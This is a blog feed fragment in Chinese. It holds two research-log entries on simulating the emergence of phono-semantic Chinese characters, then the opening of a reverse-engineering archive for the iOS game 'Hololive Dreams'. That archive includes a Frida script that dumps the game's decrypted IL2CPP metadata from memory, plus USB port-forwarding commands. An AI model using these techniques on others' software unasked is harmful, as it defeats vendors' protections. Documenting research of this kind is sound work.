<p>第一集沒提這件事，但它一直是這個專案對外最尷尬的一張截圖：工具輸出「火車 = ŋo.ŋo.ŋo.ŋo.ŋo.ŋo」，同一個音節重複六次。那不是語言，是把一個音拉長。</p>
<p><code>repetition_rate</code> 這個指標對它完全瞎——CV 音節模板下相鄰音素永遠是「子音、母音」交替，兩者永遠不相等，所以這個指標恆為 0。加了音節層級的哨兵之後，測了三個假設，前兩個錯：</p>
<details><summary>假設一（錯）：用不完的槽位最省事的填法就是重複</summary><p>掃 λ_len 發現長度砍掉 37% 時重複只動 1.6 個百分點，成功率反而崩掉 30 個百分點——長度和重複是兩個獨立的問題。</p></details>
<details><summary>假設二（錯）：加 OCP（相鄰音節相似度）懲罰能壓掉重複</summary><p>懲罰確實被最小化了（0.587 → 0.480，隨機基準是 0.11），但重複沒有趨勢，成功率掉了 12 個百分點。付了代價，沒買到東西。</p></details>
<details><summary>假設三（錯，但意外找到真正的變數）：重複是抗噪冗餘，雜訊越小重複該越少</summary><p>掃描結果是關掉雜訊時重複反而最高（40.0%）——假設也錯了，但掃描本身找到一個沒人掃過的東西：噪音強度有最適值，而專案早期選定的 <code>τ_end = 0.2</code> 從來沒被掃過。<code>τ=0.10</code> 在成功率（85.4%）、重複率（27.9%）、相異音節數、同音率（0.004）四個維度上同時最好：</p><pre tabindex="0"><code>τ=0.20（舊預設）  火車  ŋo.ŋo.ŋo.ŋo.ŋo.ŋo
τ=0.10（新預設）  火車  pi.pu.ʃy.tø.ʃo.ŋo
</code></pre></details>
<p>從「把一個音拉長」變成「一串不同的音節」。27.9% 仍然高於隨機期望（約 7%），還沒完全解決，下一個要查的是架構層面的問題——留給下一集。</p>
<p>途中還抓到一個更嚴重的 bug：長度懲罰的遮罩函式在 EOS 位置本身也算進 cumprod，導致遮蔽後的訊息裡一個 EOS 都不剩，<code>expected_length</code> 恆等於上限。這代表<strong>齊夫簡短律（M2）的所有先前結果，都是在一個從頭到尾沒受過長度壓力的系統上量出來的</strong>——修好之後同一組參數的成功率從 61.5% 跳到 81.4%，那個 bug 不只沒作用，是主動有害：常數項的梯度仍然在流，把系統往一個結構上不可能達成的方向推。方法學上的結論（設限依變數要用 Tobit）仍然成立，數值要重測。</p>
<h2 id="這一集動了-pre-registration" class="phrased">這一<wbr>集動了 pre-registration</h2>
<p>三個變更都不是「結果不如預期所以調參數」，是「當初據以選定的量測本身是錯的」，所以走了修訂而不是直接改凍結檔：</p>
<table tabindex="0">
<thead>
<tr>
<th>項目</th>
<th>凍結值</th>
<th>修訂後</th>
<th>理由</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>τ_end</code></td>
<td>0.2</td>
<td><strong>0.10</strong></td>
<td>從沒掃過；掃了之後 0.10 四維度同時最好</td>
</tr>
<tr>
<td>S2 高劑量組邊界</td>
<td>同音率 ≥ 0.25</td>
<td><strong>撤回，不設固定邊界</strong></td>
<td>依據的門檻（§13）不重現</td>
</tr>
<tr>
<td><code>λ_len = 0.005</code> 的經驗基礎</td>
<td>無</td>
<td><strong>重建</strong></td>
<td>選定時系統沒有長度壓力；修好 bug 後重掃，0.005 仍是最佳值，但現在有數據支持</td>
</tr>
</tbody>
</table>
<p><code>heldout</code> 102 詞在這次修訂前後都沒有被動用過。</p>
<h2 id="這些結論現在有多硬" class="phrased">這些<wbr>結論<wbr>現在<wbr>有多硬</h2>
<table tabindex="0">
<thead>
<tr>
<th></th>
<th>狀態</th>
</tr>
</thead>
<tbody>
<tr>
<td>探索 / 確認</td>
<td>全部仍是探索階段（train 226 詞）。heldout 從未載入</td>
</tr>
<tr>
<td>正向結果</td>
<td>聲符原則（零樣本泛化）：n=36，t = +6.41，基線不隨劑量漂移</td>
</tr>
<tr>
<td>已撤回</td>
<td>S2 同音率 0.2 門檻（16 選 1 下的假象）；S1 τ_end=0.2（次佳值，未掃描選定）</td>
</tr>
<tr>
<td>已修正但方法論不變</td>
<td>M2 齊夫斜率（λ_len bug 修好前後，該用 Tobit 這件事沒變，數值要重測）</td>
</tr>
<tr>
<td>訓練/評估任務不一致</td>
<td>確認階段起，訓練候選數必須等於評估候選數，已寫進修訂</td>
</tr>
</tbody>
</table>
<h2 id="下一步">下一步</h2>
<p>零樣本探針取代了「放大詞表」——同一個問題，零標註成本測到了答案。下一個要驗的是「模組化是習得性問題」這個新假設本身：如果它對，讓系統付出習得成本（例如限制每個字形的曝光量，或是引入世代更替），應該會讓雙重分離開始轉正。這是可以在同一份 226 詞詞表上做的下一個介入，不需要更大的詞表，也不需要碰 heldout。</p>
<p>S1 的音節重複還剩 27.9%，「架構層面 Speaker 每個位置的輸入夠不夠分化」這個老問題還沒查完。S3 的 confirmatory run 也還沒開始。等其中一個有結果，會有第三集。</p>]]></content:encoded>
    </item>
    <item>
      <title>重言 Re-Sinitic：形聲為什麼沒有湧現 - 研究日誌（一）</title>
      <link>https://blog.siao.ai/re-sinitic-01/</link>
      <guid isPermaLink="true">https://blog.siao.ai/re-sinitic-01/</guid>
      <pubDate>Mon, 24 Aug 2026 00:00:00 GMT</pubDate>
      <description>固定漢語的語意結構，從零重新演化語音與書寫層，問形聲是不是雙通道文字系統的必然收斂解。三個階段測試下來，形聲都沒有出現——這是探索階段的第一集記錄，S3 才剛開始，還沒有 confirmatory run。</description>
      <content:encoded><![CDATA[<p>這是「重言 Re-Sinitic」的第一篇研究日誌。專案還在探索階段，S3 才剛跑起來、confirmatory run 還沒做——這篇記的是目前為止量到的東西，不是最終結論。後面應該還會有第二集、第三集。</p>
<blockquote>
<p>這篇是日誌，記的是當時的推論過程，其中部分結論後來已被修正或撤回。想看目前最新的整體結論，見<a href="/re-sinitic/">現況總覽</a>。</p>
</blockquote>
<h2 id="這個專案在問什麼" class="phrased">這個<wbr>專案<wbr>在問<wbr>什麼</h2>
<p>固定漢語的語意結構（meaning space）當控制變數，從零重新演化語言的表達層——音韻與書寫。問一件具體的事：</p>
<blockquote>
<p>形聲——一個字由表義部件加表音部件組成——是不是雙通道語言系統的必然收斂解？如果不是，它需要什麼前提？</p>
</blockquote>
<p>文獻上的空白很具體：現有的符號湧現研究全部停在「圖畫 → 抽象符號」，沒有人碰過形音義三元結構。</p>
<p>「做完」長什麼樣：S1 離散語音層跑出可信的音系 → S2 書寫層檢定形聲是否湧現 → S3 檢定方言壓力的作用，用 2×2 設計分辨「同音壓力」與「方言壓力」哪個才是必要條件。</p>
<figure class="diagram"><svg viewBox="0.00 0.00 458.00 67.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="三個探索階段（第一集當時的設計）">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 62.83)">
<polygon fill="none" stroke="none" points="-4,4 -4,-62.83 453.52,-62.83 453.52,4 -4,4"></polygon>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="48.44" cy="-29.42" rx="48.44" ry="29.42"></ellipse>
<text text-anchor="middle" x="48.44" y="-33.62" font-family="Times,serif" font-size="14.00">S1</text>
<text text-anchor="middle" x="48.44" y="-16.82" font-family="Times,serif" font-size="14.00">語音層可行</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="196.16" cy="-29.42" rx="63.29" ry="29.42"></ellipse>
<text text-anchor="middle" x="196.16" y="-33.62" font-family="Times,serif" font-size="14.00">S2</text>
<text text-anchor="middle" x="196.16" y="-16.82" font-family="Times,serif" font-size="14.00">形聲有沒有湧現</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M97.15,-29.42C104.82,-29.42 112.92,-29.42 121.04,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="120.97,-32.92 130.97,-29.42 120.97,-25.92 120.97,-32.92"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="372.48" cy="-29.42" rx="77.04" ry="29.42"></ellipse>
<text text-anchor="middle" x="372.48" y="-33.62" font-family="Times,serif" font-size="14.00">S3</text>
<text text-anchor="middle" x="372.48" y="-16.82" font-family="Times,serif" font-size="14.00">2×2：同音 vs 方言</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M259.6,-29.42C267.44,-29.42 275.56,-29.42 283.7,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="283.66,-32.92 293.66,-29.42 283.66,-25.92 283.66,-32.92"></polygon>
</g>
</g>
</svg><figcaption>三個探索階段（第一集當時的設計）</figcaption></figure>
<h2 id="主結論-先講重點" class="phrased">主<wbr>結論<wbr>（先講<wbr>重點）</h2>
<blockquote>
<p>在本研究測試的所有條件下，形聲都沒有湧現。</p>
</blockquote>
<p>兩種理論上應該產生它的壓力各自產生了「一半」，而且是相反的一半：同音壓力讓語音資訊<strong>進入</strong>字形，方言壓力讓語音資訊<strong>退出</strong>字形。兩者都不產生「分工」。</p>
<p>形聲的定義性特徵不是「字形帶語音資訊」，是<strong>字形可分解為兩個功能不同的部分</strong>。這裡的操作化是雙重分離——遮蔽語意路只傷語意 Reader、遮蔽語音路只傷語音 Reader。那個交互作用在任何條件下都沒有變正。</p>
<h2 id="s1-語音層可以從零演化出來" class="phrased">S1：<wbr>語音<wbr>層<wbr>可以<wbr>從零<wbr>演化<wbr>出來</h2>
<p>226 個詞、10 子音 8 母音、訊息長度 12、CV 音節模板、一個 D3 混淆通道。最佳設定下溝通成功率 72%、topsim 0.088–0.158、有同音詞的詞只有 1.3%。</p>
<p>一個值得記的量測錯誤：齊夫簡短律（M2，越常用的詞越短）的效果量一開始被低估了大約五倍。原因是訊息長度有硬上界，而 65–76% 的詞卡在那個上界——這是設限依變數（censored dependent variable），該用 Tobit 迴歸而不是 OLS。用 OLS 會把斜率往零壓，看起來效應很弱，其實是量測方式本身在說謊。</p>
<h2 id="s2-同音壓力有門檻-但門檻之後走向拼音化" class="phrased">S2：<wbr>同音<wbr>壓力<wbr>有<wbr>門檻，<wbr>但<wbr>門檻<wbr>之後<wbr>走向<wbr>拼音<wbr>化</h2>
<p>6 個劑量 × 3 種子，自變數是<strong>湧現的</strong>同音率（0.013 → 0.496），結果變數是「主力 − 同格位純表意基線」的聲符式共用效果量。</p>
<pre tabindex="0"><code>同音率 &#x3C; 0.2（n=12）   平均 −0.028 ± 0.096   t = −1.00   ← 沒有效應
同音率 > 0.2（n=6）    平均 +0.494 ± 0.207   t = +5.84   ← 強效應
</code></pre>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="聲符式共用效果量：門檻兩側" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="178.5" x2="536" y2="178.5" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">-0.03</text><text x="36" y="182.5" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0.50</text><rect x="135" y="178.5" width="62" height="48.06666666666666" rx="2" class="chart-bar-negative" style="fill:var(--accent);--i:0"></rect><text x="167" y="240.56666666666666" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.028</text><text x="167" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">同音率 &#x3C; 0.2</text><rect x="381" y="25.854000000000013" width="62" height="152.646" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="413" y="19.854000000000013" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.494</text><text x="413" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">同音率 > 0.2</text></svg><figcaption>聲符式共用效果量：門檻兩側</figcaption></figure>
<p>是門檻，不是斜坡：純門檻模型 R² = 0.775 勝過純線性的 0.730，兩者一起放進模型時只有門檻項活下來。</p>
<p>但門檻之後長出來的不是形聲。隨劑量升高：</p>
<table tabindex="0">
<thead>
<tr>
<th></th>
<th>趨勢</th>
</tr>
</thead>
<tbody>
<tr>
<td>聲符純度</td>
<td>0.054 → 0.178（上升）</td>
</tr>
<tr>
<td>形符純度</td>
<td>0.120 → 0.011（崩塌）</td>
</tr>
<tr>
<td>雙重分離</td>
<td>+0.002 → −0.038（更負）</td>
</tr>
</tbody>
</table>
<p>字形越來越像在編碼發音，而不是分化成「一半表義、一半表音」。那是拼音化的方向，不是形聲化的方向。</p>
<h2 id="s3-方言壓力讓-writer-放棄語音路-而不是把它隔離出來" class="phrased">S3：<wbr>方言<wbr>壓力<wbr>讓 Writer 放棄<wbr>語音<wbr>路，<wbr>而不是<wbr>把它<wbr>隔離<wbr>出來</h2>
<p>3 種子 × 6 劑量，自變數是<strong>湧現的</strong>跨子群語音距離 D（0 → 0.556）。</p>
<table tabindex="0">
<thead>
<tr>
<th></th>
<th align="right">係數</th>
<th align="right">t 值</th>
<th>架構書 §5.1 的預測</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>形符純度 ~ D</td>
<td align="right">+0.011</td>
<td align="right">+0.13</td>
<td>為正（形符強化）</td>
<td>✗</td>
</tr>
<tr>
<td>聲符純度 ~ D</td>
<td align="right">−0.124</td>
<td align="right">−2.62</td>
<td>為負（聲符退化）</td>
<td>✓</td>
</tr>
<tr>
<td>消融損失 ~ D</td>
<td align="right">−0.176</td>
<td align="right">−5.41</td>
<td>—</td>
<td>—</td>
</tr>
</tbody>
</table>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="方言壓力 D 的三個迴歸係數" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="75.5" x2="536" y2="75.5" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">-0.20</text><text x="36" y="79.5" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0.02</text><rect x="94" y="47.175000000000004" width="62" height="28.324999999999996" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="126" y="41.175000000000004" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.011</text><text x="126" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">形符純度~D</text><rect x="258" y="75.5" width="62" height="95.78999999999999" rx="2" class="chart-bar-negative" style="fill:var(--accent);--i:1"></rect><text x="290" y="185.29" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.124</text><text x="290" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">聲符純度~D</text><rect x="422" y="75.5" width="62" height="135.95999999999998" rx="2" class="chart-bar-negative" style="fill:var(--accent);--i:2"></rect><text x="454" y="225.45999999999998" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.176</text><text x="454" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">消融損失~D</text></svg><figcaption>方言壓力 D 的三個迴歸係數</figcaption></figure>
<p>最強的訊號是消融：遮掉語音路造成的損失隨 D 單調下降，在最高劑量甚至變負——那條路已經是純粹的噪音，遮不遮都無所謂。</p>
<p>跨方言壓力不會讓書寫系統重組成形符加聲符，它讓 Writer 逐步、完全地放棄語音通道。形符純度沒有上升，是因為語意路本來就在做全部的工作，沒有東西可以「強化」。</p>
<h2 id="為什麼沒有湧現-一個可檢定的假設" class="phrased">為什麼<wbr>沒有<wbr>湧現：<wbr>一個<wbr>可<wbr>檢定<wbr>的<wbr>假設</h2>
<p>三個階段的結果指向同一件事：系統從來沒有理由「同時」使用兩條通道。它總是選一條——同音壓力下選語音，方言壓力下選語意。</p>
<p>分工要划算，必須有某種力量讓「兩條各做一半」勝過「一條做全部」。本研究的設定裡沒有那種力量，而最可能的缺項是：</p>
<p><strong>詞表太小。</strong> 226 個詞、每字 6 筆畫。在這個規模上「背下來」永遠比「發展出系統性」便宜。真實漢字系統面對的是數千字，而可分解性的收益隨詞表規模超線性成長——形符讓你猜出沒學過的字的意思，聲符讓你猜出它的音。那個收益在 226 個詞上幾乎為零。</p>
<p>這個假設可檢定：把詞表放大一個數量級，看雙重分離會不會轉正。成本是標註，不是算力——而那正是目前最貴的資源。</p>
<p>其他候選（依可能性排序）：</p>
<ul>
<li><strong>缺少習得成本。</strong> 模型每一代都從零學，學習成本沒有進入損失函數。真實文字系統的壓力有一大塊來自「下一代要學得會」。</li>
<li><strong>書寫成本被證實只驅動崩潰，不驅動符號化。</strong> 在這個規模上，Reader 只有 15–26% 準確率時，任何筆畫成本都會贏過溝通收益。</li>
</ul>
<h2 id="這些結論有多硬" class="phrased">這些<wbr>結論<wbr>有多硬</h2>
<p>老實講：</p>
<table tabindex="0">
<thead>
<tr>
<th></th>
<th>狀態</th>
</tr>
</thead>
<tbody>
<tr>
<td>探索 / 確認</td>
<td>全部是探索階段（train 226 詞）。heldout 102 詞從未載入</td>
</tr>
<tr>
<td>pre-registration</td>
<td>2026-08-23 凍結，含 S1/S2/S3 的完整分析計畫</td>
</tr>
<tr>
<td>種子</td>
<td>每個劑量 3 個（prereg 要求確認階段要 5 個）</td>
</tr>
<tr>
<td>詞表</td>
<td>單一詞表，單人標註。字形盲測顯示語意場 97.2% 可從語意單獨重建</td>
</tr>
<tr>
<td>最大的統計弱點</td>
<td>同音率與溝通成功率共線，r = −0.954。「形聲跟著同音走」這個判定靠「係數消不消失」成立，係數大小本身不可解讀</td>
</tr>
<tr>
<td>最大的設計弱點</td>
<td>詞表規模（見上）</td>
</tr>
</tbody>
</table>
<h2 id="附-量到看起來正常-其實在說謊的數字" class="phrased">（附）<wbr>量到<wbr>看起來<wbr>正常，<wbr>其實<wbr>在<wbr>說謊<wbr>的<wbr>數字</h2>
<p>過程中修掉的量測錯誤，每一個都會給出「看起來合理」的錯誤數字：</p>
<details><summary>同音率的分母選錯</summary><p>一開始用<strong>詞對</strong>當分母算——25425 對裡只有 107 對同音，算出 0.005，但實際上 30% 的詞都有同音詞。分母選錯，整個數字的意思就變了。</p></details>
<details><summary>形聲效應的參照組選錯</summary><p>用<strong>置換檢定</strong>當參照——字形分佈本身不均勻，讓虛無分佈被壓低，結果連純表意的基線都顯著。</p></details>
<details><summary>齊夫斜率的迴歸方法選錯</summary><p>用 <strong>OLS</strong>——76% 的詞撞上界，斜率被壓縮了五倍（見上面 S1 那段）。</p></details>
<details><summary>雙重分離的量表選錯</summary><p>用<strong>加總</strong>當量表——單通道系統可以拿到 0.324 分，是真正雙通道系統的 15 倍。</p></details>
<p>紀律後來訂下來：任何分母可能是零、任何自變數可能沒有變異的地方，一律回傳 <code>nan</code>，不回傳 0 也不回傳巨大值——因為「沒有效應」跟「這個 run 根本沒問到問題」是兩件事，後續的動作完全相反：前者該寫進論文，後者該調參數重跑。</p>
<h2 id="下一步">下一步</h2>
<p>S3 的 confirmatory run 還沒開始，heldout 詞表也還沒碰。最有機會回答「為什麼沒有湧現」的下一步，是把詞表放大一個數量級——如果雙重分離在更大的詞表上轉正，「詞表太小」這個假設就立住了；如果沒有，就要回頭檢查習得成本或書寫成本這兩個候選。</p>
<p>等 S3 confirmatory 跑完、或詞表擴大實驗有結果，會有第二集。</p>]]></content:encoded>
    </item>
    <item>
      <title>Hololive Dreams 逆向 - 筆記歸檔</title>
      <link>https://blog.siao.ai/hololive-dreams-archive-20260823/</link>
      <guid isPermaLink="true">https://blog.siao.ai/hololive-dreams-archive-20260823/</guid>
      <pubDate>Sun, 23 Aug 2026 00:00:00 GMT</pubDate>
      <description>一款 Unity 6（metadata v39）手遊資源系統的逆向連載歸檔。IL2CPP dump、資源目錄、免越獄離線鏈、有骨架綁定的 glTF、CRC32 反查動作綁定、Live2D 原生層、AI 動作決策樹與反作弊現況、以及還沒解完的彈簧骨物理。</description>
      <content:encoded><![CDATA[<h2 id="preface">Preface</h2>
<p>Cutoff: 26/08/23　Revision: 26/08/29</p>
<p>一款 Unity 6 手遊資源系統的逆向紀錄。目前狀態：資產、動畫、臉部、頭髮、相機、Live2D 全部可交付，彈簧骨物理是唯一還沒解完的東西。</p>
<p>工具與完整逐章日誌在 <a href="https://git.siao.ai/siao/hohohololive">https://git.siao.ai/siao/hohohololive</a>（<strong>不含解密</strong>，理由見（10））。本文的原始日誌在「<strong>原始日誌</strong>」面板裡，展開可以直接在這一頁讀完，不用跳出去。寬螢幕上它跟著文章捲動在右側；窄螢幕上它排在文末，從上面的目次最後一項可以直接跳過去。每一節結尾都有一行「本節來源」，點下去會跳到面板並直接展開那一份——不用先捲到文末找。</p>
<p>本文的程式碼片段是<strong>建置時從 SiaoHub 直接嵌入</strong>的，不是手貼，所以不會跟原始碼脫節；SiaoHub 那邊的檔案頁也會反向標示「被這篇文章引用」。</p>
<p>命名致敬 <a href="https://github.com/mos9527/sssekai">sssekai</a> —— 那個專案與它的<a href="https://mos9527.com/posts/pjsk/archive-20240105/">筆記歸檔</a>是這次逆向路上最有用的參考。</p>
<p>分析目標：<code>game.qualiarts.hololive.dreams.com</code> 1.0.0（iOS，已解密 IPA），Unity <code>6000.3.0b1</code>，IL2CPP metadata v39。</p>
<hr>
<h2 id="1-裝置連線與-il2cpp-metadata-v39" class="phrased">（1）<wbr>裝置<wbr>連線<wbr>與 IL2CPP metadata v39</h2>
<h3 id="1-傳輸-先看天花板" class="phrased">1. 傳輸：<wbr>先看<wbr>天花板</h3>
<p>app 容器下 <code>Library/octo/</code> 是資源下載快取，3.4GB。子目錄 <code>v1/</code> 有 178 個 <code>.awb</code>、1240 個 <code>.acb</code>、176 個 <code>.usm</code>，全是 CRIWARE 音效／影片格式。</p>
<p>WiFi SSH 下 <code>scp</code> 傳 12MB 花 11 分鐘。第一反應是換 cipher（預設那組沒有硬體加速），換完看起來瞬間變快——那是本地磁碟緩衝的假象，大檔就原形畢露。</p>
<p>但更重要的是即使 cipher 真的有效也沒意義：3.4GB 在 WiFi 上再怎麼調都是幾十分鐘等級。改走 USB：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="bash" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="bash" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">iproxy</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 2222:22</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> &#x26;         </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># SSH</span></span>
<span data-line=""><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">iproxy</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 27042:27042</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> &#x26;     </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># Frida</span></span></code></pre></figure>
<table tabindex="0">
<thead>
<tr>
<th>路徑</th>
<th>實測</th>
<th>3.4GB 估時</th>
</tr>
</thead>
<tbody>
<tr>
<td>WiFi SSH（預設 cipher）</td>
<td>~18 KB/s</td>
<td>約 2 天</td>
</tr>
<tr>
<td>WiFi SSH（gcm）</td>
<td>小檔看似極快，大檔仍慢</td>
<td>—</td>
</tr>
<tr>
<td>USB（<code>iproxy</code>）</td>
<td>40–70 MB/s</td>
<td>約 1 分鐘</td>
</tr>
</tbody>
</table>
<p>整包 <code>tar</code> 在動任何東西之前先拉回本機。後面有好幾次需要清掉裝置端快取觀察下載時機，沒有備份的話每次清除都不可逆。</p>
<h3 id="2-metadata-是加密的-binary-不是" class="phrased">2. Metadata 是<wbr>加密<wbr>的，<wbr>binary 不是</h3>
<pre tabindex="0"><code>$ xxd -l 8 global-metadata.dat
00000000: 8f2b 0d1c ...       # 預期 AF 1B B1 FA
</code></pre>
<p>magic 對不上。但<strong>磁碟上的 <code>UnityFramework</code> 並沒有加密</strong>——這兩者要分清楚，我一開始沒分（見（附）踩坑）。</p>
<p>metadata 在執行時必然是解開的，掃記憶體找 magic：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="python" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="python" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> frida</span></span>
<span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">MAGIC</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\xaf\x1b\xb1\xfa</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span></span>
<span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> on_message</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(msg, data):</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> msg[</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"payload"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">].get(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"event"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "metadata"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span></span>
<span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">        open</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"global-metadata-decrypted.dat"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"wb"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">).write(data)</span></span>
<span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">dev </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> frida.get_usb_device()</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pid </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> dev.spawn([</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"game.qualiarts.hololive.dreams.com"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">])</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ses </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> dev.attach(pid)</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">scr </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ses.create_script(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">open</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"dump.js"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">).read())</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">scr.on(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"message"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, on_message)</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">scr.load()</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">dev.resume(pid)</span></span></code></pre></figure>
<p><code>Process.enumerateRanges("r--")</code> 逐段掃，單一位址命中：</p>
<pre tabindex="0"><code>magic   = AF 1B B1 FA
version = 39
</code></pre>
<p><code>version = 39</code> 是合法的 IL2CPP 版本號，代表這是解密後的真身而不是巧合命中。</p>
<h3 id="3-版本號偽裝的失敗模式才是答案" class="phrased">3. 版本<wbr>號<wbr>偽裝<wbr>的<wbr>失敗<wbr>模式<wbr>才是<wbr>答案</h3>
<p><code>Il2CppDumper</code> 最新版只支援到 31。標準做法是改版本號騙過去，因為格式常常沒變、只是跳號。</p>
<table tabindex="0">
<thead>
<tr>
<th>偽裝成</th>
<th>結果</th>
</tr>
</thead>
<tbody>
<tr>
<td>27</td>
<td>失敗 —— key 衝突</td>
</tr>
<tr>
<td>29</td>
<td>失敗 —— 同一個 key 衝突</td>
</tr>
<tr>
<td>31</td>
<td>失敗 —— 同一個 key 衝突</td>
</tr>
</tbody>
</table>
<p>三次掛在<strong>同一個位置</strong>。如果只是跳號，改成不同的舊版本應該在不同地方壞掉；三次一模一樣，代表解析器讀到的結構在那個點就跟預期分岔了——這是真正更新過的格式。</p>
<p>這個判斷值錢的地方在於它一次關掉整條分支。「再試一個版本號」每次只花三十秒，所以很容易一直試下去。</p>
<p>改用 <code>Il2CppInspectorRedux</code>（LukeFZ fork），產出 56 萬個方法名稱對虛擬位址的完整 map。</p>
